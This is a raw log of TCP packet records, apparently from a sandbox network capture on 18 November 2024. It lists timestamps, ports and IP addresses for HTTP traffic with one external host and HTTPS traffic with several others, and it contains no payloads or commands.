Nov 18, 2024 00:27:29.837574005 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.837630033 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.837738991 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.837749958 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.837759972 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.837774038 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.837785959 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.837794065 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.837799072 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.837822914 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.837822914 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.837856054 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.837882042 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.837892056 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.837929964 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.837977886 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.837987900 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838031054 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.838032961 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838044882 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838056087 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838079929 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.838103056 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.838185072 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838196993 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838207960 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838239908 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.838243008 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838255882 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.838287115 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.838377953 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838387966 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838430882 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.838462114 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838474035 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838485003 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838511944 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.838536024 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.838613987 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838625908 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838637114 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838666916 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.838689089 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.838767052 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838778973 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838789940 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838818073 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.838840961 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.838860035 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.838903904 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.839016914 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.839029074 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.839040995 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.839051962 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.839071035 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.839071989 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.839083910 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.839087009 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.839107037 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.839131117 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.839332104 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.839345932 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.839384079 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.839410067 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.839689016 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.839699984 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.839711905 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.839725018 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.839742899 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.839766979 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.877648115 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.877681017 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.877717972 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.877770901 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.877790928 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.877790928 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.877800941 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.877790928 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.877834082 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.877867937 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.877868891 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.877867937 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.877895117 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.877929926 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.920979977 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.921017885 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.921051979 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.921195984 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.921195984 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.941900015 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.941935062 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.941968918 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.942002058 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.942034960 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:29.942085028 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.942085028 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.942085028 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.942085981 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:29.942085981 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:30.187009096 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.187623978 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.187648058 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.188251019 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.188257933 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.193495035 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.193892002 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.193912983 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.194369078 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.194375038 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.309056997 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.310260057 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.310291052 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.310693979 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.310702085 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.320849895 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.320992947 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.321074963 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.321218014 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.321243048 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.321258068 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.321269989 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.322585106 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.323888063 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.323980093 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.337143898 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.337171078 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.337188959 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.337198973 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.343173981 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.343211889 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.343303919 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.344046116 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.344113111 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.344175100 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.344259024 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.344274044 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.344315052 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.344347000 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.445277929 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.445359945 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.445427895 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.446280003 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.446297884 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.446321011 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.446329117 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.452300072 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.456388950 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.456434965 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.456512928 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.459630966 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.459650993 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.460078001 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.460084915 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.462261915 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.462296009 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.477773905 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.479444027 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.479471922 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.479899883 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.479907036 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.587127924 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.587357998 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.587455988 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.606483936 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.606847048 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.606901884 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.661710978 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.661710978 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.661732912 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.661741972 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.671720982 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.671720982 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.671736956 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.671746016 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.740061998 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.740139961 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.740214109 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.750613928 CET	49787	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.750644922 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.750705957 CET	49787	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.753035069 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.753087044 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:30.758820057 CET	49787	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:30.758841038 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.068001032 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.070210934 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.121555090 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.122584105 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.187555075 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.230956078 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.237530947 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.237548113 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.238250971 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.238255978 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.271419048 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.271459103 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.271924973 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.271931887 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.361990929 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.362068892 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.362231970 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.399646044 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.401720047 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.401880980 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.489439964 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.494545937 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.538408041 CET	49787	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.545413971 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.743181944 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.743227959 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.744064093 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.744081020 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.750525951 CET	49787	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.750560045 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.751548052 CET	49787	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.751553059 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.754343033 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.754354000 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.756202936 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.756208897 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.871140003 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.871370077 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.871443987 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.877341986 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.877490044 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.877604008 CET	49787	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.881355047 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.881515026 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.881582975 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.978389025 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.978389978 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.978409052 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.978419065 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.978652000 CET	49787	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.978677988 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.978702068 CET	49787	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.978713989 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.978746891 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.978746891 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.978763103 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.978782892 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.982477903 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.982503891 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.982520103 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:31.982527018 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:31.994038105 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:31.994102955 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:32.023399115 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:32.023399115 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:32.023459911 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:32.023485899 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:32.258078098 CET	49789	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:32.258125067 CET	443	49789	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:32.258194923 CET	49789	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:32.262109041 CET	49789	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:32.262135983 CET	443	49789	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:32.276880980 CET	49792	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:32.276906013 CET	443	49792	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:32.276993036 CET	49792	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:32.277302980 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:32.277332067 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:32.277520895 CET	49792	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:32.277534962 CET	443	49792	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:32.277549028 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:32.277708054 CET	49793	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:32.277724028 CET	443	49793	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:32.332250118 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:32.332303047 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:32.332391977 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:32.363652945 CET	49795	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:32.363677979 CET	443	49795	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:32.363743067 CET	49795	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:32.363982916 CET	49795	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:32.363992929 CET	443	49795	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:32.374783039 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:32.374804020 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:32.378549099 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:32.378572941 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:32.378669977 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:32.379057884 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:32.379071951 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:32.383377075 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:32.383395910 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:32.383476019 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:32.383812904 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:32.383826017 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:32.395469904 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:32.395483971 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:32.395555019 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:32.396228075 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:32.396255970 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:32.396315098 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:32.396380901 CET	49798	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:32.396394968 CET	443	49798	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:32.396792889 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:32.396809101 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.017096043 CET	49802	443	192.168.2.6	20.12.23.50
Nov 18, 2024 00:27:33.017122030 CET	443	49802	20.12.23.50	192.168.2.6
Nov 18, 2024 00:27:33.017189026 CET	49802	443	192.168.2.6	20.12.23.50
Nov 18, 2024 00:27:33.018893957 CET	49802	443	192.168.2.6	20.12.23.50
Nov 18, 2024 00:27:33.018901110 CET	443	49802	20.12.23.50	192.168.2.6
Nov 18, 2024 00:27:33.110605001 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.111112118 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.111140966 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.111736059 CET	49796	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.111743927 CET	443	49796	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.116775990 CET	443	49789	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.117194891 CET	49789	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.117208958 CET	443	49789	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.117796898 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.118140936 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.118166924 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.118204117 CET	443	49789	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.118254900 CET	49789	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.118833065 CET	49797	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.118840933 CET	443	49797	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.119093895 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.119374990 CET	49789	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.119441986 CET	443	49789	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.119518995 CET	49789	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.119532108 CET	443	49789	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.119673967 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.119721889 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.120560884 CET	49794	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.120573044 CET	443	49794	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.129048109 CET	443	49792	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.129287958 CET	49792	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.129297018 CET	443	49792	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.130722046 CET	443	49792	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.130776882 CET	49792	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.131155968 CET	49792	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.131232977 CET	443	49792	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.131453991 CET	49792	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:33.131463051 CET	443	49792	216.58.206.68	192.168.2.6
Nov 18, 2024 00:27:33.154778004 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.155092955 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.155122042 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.155524969 CET	49799	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:33.155531883 CET	443	49799	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:33.155544043 CET	443	49793	216.58.206.68	192.168.2.6
